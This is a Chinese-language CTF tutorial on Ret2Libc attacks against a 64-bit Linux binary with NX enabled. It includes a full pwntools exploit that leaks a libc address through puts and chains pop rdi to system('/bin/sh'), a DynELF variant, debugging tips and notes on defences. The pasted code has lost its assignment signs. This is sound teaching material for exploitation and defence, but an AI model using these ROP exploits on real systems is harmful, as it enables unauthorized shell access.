行业资讯

64位Linux下Ret2Libc攻击:绕过NX保护获取Shell的实战指南

发布时间:2026/7/26 3:20:55
64位Linux下Ret2Libc攻击:绕过NX保护获取Shell的实战指南 1. 项目概述为什么Ret2Libc是绕开NX保护的经典手法在CTF的Pwn类题目中尤其是现代64位环境下你经常会遇到一个让人头疼的保护机制NXNo-eXecute。它让栈、堆这些数据区域变得“只读”你精心构造的Shellcode再也无法在那里执行。这时候Ret2LibcReturn-to-Libc攻击就成了我们必须掌握的“破局之剑”。这个手法的核心思想非常巧妙——既然你不让我执行自己的代码那我就借用你程序里已经存在的、合法的代码来达成目的。这些现成的代码就是C标准库libc里的函数比如system。想象一下你的目标程序里本来就会调用printf或puts来输出内容这意味着libc已经被加载到进程的内存空间里了。Ret2Libc攻击就是通过劫持程序的控制流让它不是返回到我们注入的Shellcode而是返回到libc中的某个函数例如system(“/bin/sh”)的地址从而直接获得系统Shell。这就像是你无法自己造一把钥匙但发现房东总把万能钥匙挂在门后你只需要想办法让程序流程“走”到那里并拿起钥匙就行。本次实战我们将完全聚焦于64位Linux程序。64位和32位在利用上有显著区别主要体现在参数传递的约定上。32位程序通过栈来传递函数参数构造起来相对直观。而64位程序则优先使用寄存器rdi,rsi,rdx,rcx,r8,r9来传递前六个参数这要求我们在构造ROP链Return-Oriented Programming面向返回编程时必须先找到控制这些寄存器的“小工具”gadget。这增加了复杂度但也让利用过程更具技巧性和学习价值。我们将使用Python的pwntools库它堪称Pwn手的“瑞士军刀”能极大地简化套接字通信、字节打包、Gadget查找等繁琐工作。2. 环境准备与目标程序分析2.1 实验环境搭建工欲善其事必先利其器。一个稳定、便捷的实验环境是成功的第一步。操作系统与工具链推荐使用Kali Linux或Ubuntu等Linux发行版。Windows用户可以通过WSL2获得近乎原生的Linux体验。核心工具如下Python 3.8pwntools的运行基础。pwntools通过pip install pwntools即可安装。如果遇到网络问题可以使用国内镜像源例如pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple。gdbGNU调试器配合pwndbg或gef插件sudo apt install gdb后通过其提供的脚本安装可以极大增强逆向和调试能力尤其是可视化查看栈、寄存器状态和搜索ROP gadget。checksec通常包含在pwntools中pwn checksec用于快速查看程序启用了哪些安全保护NX, PIE, Canary等。objdump / ROPgadget用于静态分析程序寻找可利用的代码片段。注意不建议在完全陌生的环境或题目中直接运行Exp。最好在本地或隔离的虚拟机中先分析、调试。pwntools的context.log_level ‘debug’选项可以打印出所有交互的字节对编写和调试Exp至关重要。2.2. 目标程序逆向与漏洞定位假设我们有一个名为vuln64的靶机程序。第一步永远是信息收集。pwn checksec vuln64典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这个结果非常理想NX enabled栈不可执行确认了我们需要使用Ret2Libc。No canary没有栈溢出检测我们可以肆意覆盖返回地址。No PIE程序本身代码段的基地址是固定的0x400000。这意味着main、vuln_function等函数的地址在每次运行时都是确定的我们可以在Exp中硬编码这些地址而不必考虑地址随机化。这简化了利用过程在实际中PIE enabled的情况需要先泄漏地址。接下来用objdump或gdb反汇编找到漏洞点。通常是一个危险的函数如gets、scanf(“%s”, buf)或strcpy。objdump -d vuln64 | grep -A 20 “vuln_function”或者用gdb更交互式地分析gdb ./vuln64 (gdb) disas main假设我们发现main函数调用了vuln而vuln函数中有一个char buffer[64]却用read(fd, buffer, 256)读取了256个字节这就是一个典型的栈缓冲区溢出漏洞。我们需要确定覆盖到返回地址所需的精确偏移量。pwntools提供了cyclic工具来辅助。from pwn import * context.binary ‘./vuln64’ # 自动设置arch, bits等 p process(‘./vuln64’) payload cyclic(200) p.sendline(payload) p.wait() # 程序崩溃 core p.corefile offset cyclic_find(core.read(core.rsp, 4)) # 查找覆盖RIP的字符串偏移 print(f“Offset to RIP: {offset}”)假设这里计算出的offset是72。这意味着我们需要填充72个字节的垃圾数据之后写入的8个字节64位地址就会覆盖栈上的返回地址。3. Ret2Libc攻击链的构建原理在32位系统中构造system(“/bin/sh”)只需要在栈上布局覆盖的返回地址-system函数地址-返回地址可随意-参数“/bin/sh”地址。但在64位系统中第一个参数需要通过rdi寄存器传递。因此我们的攻击链ROP链必须解决一个问题如何将字符串“/bin/sh”的地址放入rdi寄存器然后再跳转到system这就需要用到ROP Gadget。Gadget是一段以ret指令结尾的短指令序列例如pop rdi; ret。这条指令会从栈顶弹出一个值到rdi寄存器然后通过ret跳转到栈上下一个地址。这样我们就可以通过控制栈的内容来间接控制寄存器的值。所以一个典型的64位Ret2Libc ROP链结构如下[垃圾数据填充偏移量] [pop rdi; ret gadget地址] [“/bin/sh”字符串地址] [system函数地址]执行流程程序执行到vuln函数结尾的ret指令时rsp指向我们覆盖的返回地址位置。ret指令等同于pop rip它将栈顶即pop rdi; ret的地址弹出到ripCPU跳转到这个gadget执行。执行pop rdi此时rsp指向栈上的下一个位置即我们放置的“/bin/sh”地址该值被弹出到rdi寄存器。rsp继续下移。执行ret此时rsp指向再下一个位置即system函数地址该地址被弹出到ripCPU跳转到libc中的system函数。system函数开始执行它发现第一个参数rdi指向字符串“/bin/sh”于是执行该命令我们就获得了Shell。3.1 寻找必要的地址与Gadget构建这个链条我们需要四个关键地址和一个Gadgetpop rdi; retgadget地址在目标程序本身或其链接的库中寻找。因为PIE未开启程序本身的gadget地址固定。# 使用ROPgadget工具 ROPgadget --binary ./vuln64 | grep “pop rdi” # 或使用pwntools在脚本中 rop ROP(context.binary) rdi_gadget rop.find_gadget([‘pop rdi’, ‘ret’])[0]system函数地址需要从libc中获取。但libc的基地址因为ASLR地址空间布局随机化是随机的。我们需要先泄漏出一个libc中的函数地址然后根据libc版本计算偏移从而得到system和“/bin/sh”的真实地址。这是Ret2Libc的核心步骤。“/bin/sh”字符串地址同样在libc中可以通过libc基地址加上该字符串在libc中的固定偏移得到。一个用于泄漏的libc函数地址通常选择puts或printf。因为程序很可能已经调用了它们它们的PLT/GOT表条目是已知的。我们可以通过ROP调用putsplt来打印putsgot中的内容即puts在libc中的真实地址。3.2 泄漏Libc地址构建信息泄露链在完整的利用中我们通常需要两次交互第一次发送一个ROP链目的是调用puts(putsgot)将puts的真实地址输出到屏幕。然后程序可能会崩溃或进入下一个循环。第二次接收程序输出的地址计算出libc基址进而算出system和“/bin/sh”的地址。然后发送第二个ROP链调用system(“/bin/sh”)。第一次的ROP链泄漏链比攻击链更复杂一些它需要设置rdi为putsgot的地址要泄漏的目标。调用putsplt执行打印。返回到main函数或vuln函数使程序重新开始方便我们发送第二次payload。这被称为“栈迁移”或“重新触发漏洞”。4. 完整EXP编写与分步详解下面我们结合一个假设的vuln64程序编写一个完整的、带有详细注释的EXP。假设我们已经知道偏移量offset 72pop rdi; retgadget地址0x4007c3main函数地址0x400697用于让程序重新开始putsplt地址0x400520putsgot地址0x6010184.1 EXP第一阶段泄漏Libc地址#!/usr/bin/env python3 from pwn import * # 设置目标程序和架构上下文 context.binary ‘./vuln64’ context.log_level ‘debug’ # 开启调试输出方便观察 def leak_libc_address(): # 启动本地进程 p process(‘./vuln64’) # 如果连接远程使用p remote(‘靶机IP’, 端口) offset 72 pop_rdi_ret 0x4007c3 puts_plt 0x400520 puts_got 0x601018 main_addr 0x400697 # 构造泄漏用的ROP链 payload flat([ b’A’ * offset, # 填充缓冲区 pop_rdi_ret, # gadget地址: pop rdi; ret puts_got, # 参数1: 要打印的地址 (puts在GOT中的条目) puts_plt, # 调用putsplt main_addr # 返回到main重新开始程序 ]) p.sendlineafter(b’input:’, payload) # 假设程序提示符是”input:” # 接收输出直到换行符这就是puts打印的地址 leaked_puts u64(p.recvline().strip().ljust(8, b’\x00‘)) log.info(f“Leaked puts address: {hex(leaked_puts)}“) p.close() return leaked_puts if __name__ “__main__”: leaked_addr leak_libc_address()关键点解析flat():pwntools的函数用于将整数、字符串、字节串等扁平化打包成一个字节串自动处理字节序小端序。u64(): 将8字节的字节串解包成一个64位整数。ljust(8, b’\x00’)是为了确保我们收到的是完整的8字节地址puts输出字符串可能不会带空字节。sendlineafter(): 等待特定字符串出现后再发送payload确保交互同步。4.2 计算Libc基址与关键符号地址拿到puts的运行时地址后我们需要知道目标系统使用的libc版本才能查询其内部偏移。如果你拥有靶机环境的libc文件libc.so.6这是最准确的。def calculate_offsets(leaked_puts): # 方法1使用本地libc文件最准 libc ELF(‘./libc.so.6’) # 靶机同版本的libc libc.address leaked_puts - libc.symbols[‘puts’] # 计算基址 system_addr libc.symbols[‘system’] binsh_addr next(libc.search(b’/bin/sh\x00’)) # 搜索字符串 # 方法2使用在线数据库如libc.blukat.me, libc.rip或已知偏移 # 假设已知偏移需提前通过题目信息或暴力猜测获得 # puts_offset 0x809c0 # system_offset 0x4f440 # binsh_offset 0x1b3e9a # libc_base leaked_puts - puts_offset # system_addr libc_base system_offset # binsh_addr libc_base binsh_offset log.info(f“Libc base: {hex(libc.address)}“) log.info(f“System address: {hex(system_addr)}“) log.info(f“/bin/sh address: {hex(binsh_addr)}“) return system_addr, binsh_addr4.3 EXP第二阶段发起最终攻击def launch_final_attack(system_addr, binsh_addr): p process(‘./vuln64’) # 重新连接或如果程序未退出则继续使用之前的连接 offset 72 pop_rdi_ret 0x4007c3 payload flat([ b’A’ * offset, pop_rdi_ret, binsh_addr, system_addr, 0x0 # 可选的返回地址system执行后去哪。这里可以填0或main ]) p.sendlineafter(b’input:’, payload) # 如果成功此时应该获得了一个shell p.interactive() # 将控制权交还给用户可以手动输入命令 # 整合主函数 if __name__ “__main__”: puts_addr leak_libc_address() sys_addr, sh_addr calculate_offsets(puts_addr) launch_final_attack(sys_addr, sh_addr)4.4 使用pwntools的DynELF简化利用当libc未知时如果不知道libc版本pwntools提供了一个强大的DynELF类可以通过内存泄漏函数来动态解析libc中的符号地址。这需要你有一个稳定的泄漏函数如puts和一个可以反复触发漏洞的方法如回到main。def leak(addr): # 一个自定义的泄漏函数利用漏洞将addr地址处的内容打印出来 payload flat([ b’A’*offset, pop_rdi_ret, addr, # 要泄漏的地址 puts_plt, main_addr ]) p.sendline(payload) data p.recvuntil(b’\n’, dropTrue) if data b’’: return b’\x00‘ return data.ljust(8, b’\x00‘) p process(‘./vuln64’) d DynELF(leak, elfELF(‘./vuln64’)) system_addr d.lookup(‘system’, ‘libc’) # 注意DynELF可能无法直接找到“/bin/sh”需要自己搜索或使用其他方法 # 例如在找到system后可以继续泄漏libc基址附近的内存来搜索字符串5. 实战调试技巧与常见问题排查即使有了完美的理论实战中依然会踩坑。以下是一些关键的调试技巧和常见问题的解决方案。5.1 GDB调试技巧在另一个终端运行gdb ./vuln64然后在gdb中(gdb) r (python3 -c “print(‘A’*72 ‘BBBBBBBB’)”) # 发送payload观察崩溃点 (gdb) info registers rip # 查看RIP是否被覆盖为’BBBBBBBB’0x4242424242424242 (gdb) x/20gx $rsp # 以16进制查看栈顶20个8字节内容观察ROP链布局 (gdb) cyclic 200 # 生成pattern (gdb) cyclic -l 0x6161616c # 根据崩溃时RIP的值计算偏移使用pwndbg或gef插件后命令更直观context stack 20 ropgadget search “/bin/sh”5.2 常见问题与解决方案问题现象可能原因排查与解决思路泄漏地址后程序崩溃无法继续交互泄漏链的返回地址设置不当程序未正常恢复执行。确保泄漏链最后返回到main或一个可以再次接受输入的函数。检查栈平衡有时需要在puts调用后加一个popgadget来清理栈上残留的参数。计算出的system地址执行后无反应或报错1. libc版本不对偏移计算错误。2. 栈对齐问题Stack Alignment。1. 使用DynELF或尝试多个常见libc版本偏移。2. 在64位Linux下system函数要求rsp在调用时16字节对齐。在system地址前加一个retgadget地址可以充当“栈对齐填充”。将ROP链末尾改为… pop_rdi_ret; binsh_addr; ret_gadget; system_addr。pop rdi; retgadget找不到程序本身gadget较少。寻找其他替代gadget如pop r15; retmov rdi, r15; ret的组合。或者使用__libc_csu_init中的通用gadgetpop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret它功能强大但构造复杂。远程打不通本地能通1. 远程libc版本与本地不同。2. 网络延迟导致交互不同步。3. 远程有额外限制如seccomp。1. 使用题目提供的libc或通过泄漏多个函数地址来确定libc版本。2. 使用p.sendlineafter()和p.recvuntil()确保同步适当增加timeout。3. 检查是否禁用了execve等系统调用可能需要ORWOpen-Read-Write链。收到泄漏的地址是乱码或空泄漏函数可能遇到空字节截断如printf遇到\x00。使用puts而非printf进行泄漏因为puts遇到\x00才停止。确保接收数据时正确处理。5.3 一个稳健的EXP应具备的要素错误处理与调试信息使用context.log_level ‘debug’并在关键步骤用log.info()打印状态。适应性不要硬编码所有偏移。优先使用pwntools的ELF和ROP类自动查找地址和gadget。elf ELF(‘./vuln64’) rop ROP(elf) pop_rdi rop.find_gadget([‘pop rdi’, ‘ret’])[0] puts_plt elf.plt[‘puts’] puts_got elf.got[‘puts’]栈对齐处理养成在调用system或libc函数前加一个retgadget的习惯。交互稳定性对于远程攻击考虑网络波动使用p.sendlineafter()和p.recvuntil(timeout2)并做好异常重试。6. 从CTF到现实Ret2Libc的演进与防御在CTF中我们常遇到“奶瓶题”——NX开启但无PIE、无Canary、无Full RELRO。这简化了利用过程。但在现实世界或更高难度的CTF中防御措施是全方位的ASLR/PIE使libc和程序本身的基址随机化。我们的利用需要先泄漏一个地址来“破局”这通常就是Ret2Libc攻击的第一步信息泄漏。我们上面演示的正是这种方法。Stack Canary在栈上插入一个随机值金丝雀函数返回前检查其是否被改变。绕过方法包括泄漏canary值如果有信息泄漏漏洞或覆盖不包含canary的内存区域如栈上的局部变量。RELROPartial RELROGOT表可写。我们仍可以劫持GOT表项但Ret2Libc通常不需要写GOT。Full RELROGOT表只读。这防止了GOT表覆盖攻击但Ret2Libc通过ROP调用libc函数依然有效因为我们是利用现有的函数地址而非修改它们。控制流完整性 (CFI)和代码指针完整性 (CPI)更先进的防御旨在确保程序流只能转移到合法的目标。这需要更复杂的利用技术来绕过。因此掌握基础的Ret2Libc不仅仅是解决一道CTF题更是理解现代漏洞利用与防御对抗的基石。它清晰地展示了在“数据执行不可信”的原则下攻击者如何通过“代码复用”来达成目的。而作为开发者或安全研究员理解这一点才能更好地编写安全的代码或设计更坚固的防御机制。最后在编写和测试EXP时我个人的一个深刻体会是耐心比聪明更重要。很多时候利用失败不是思路不对而是某个地址算错了一个字节、栈对齐没处理好、或者接收数据时多了一个换行符。务必善用调试工具分阶段验证先确保能泄漏再计算最后攻击并仔细对比每一步的预期和实际输出。当你第一次通过自己编写的ROP链弹出那个梦寐以求的#或$符号时那种成就感就是对所有努力最好的回报。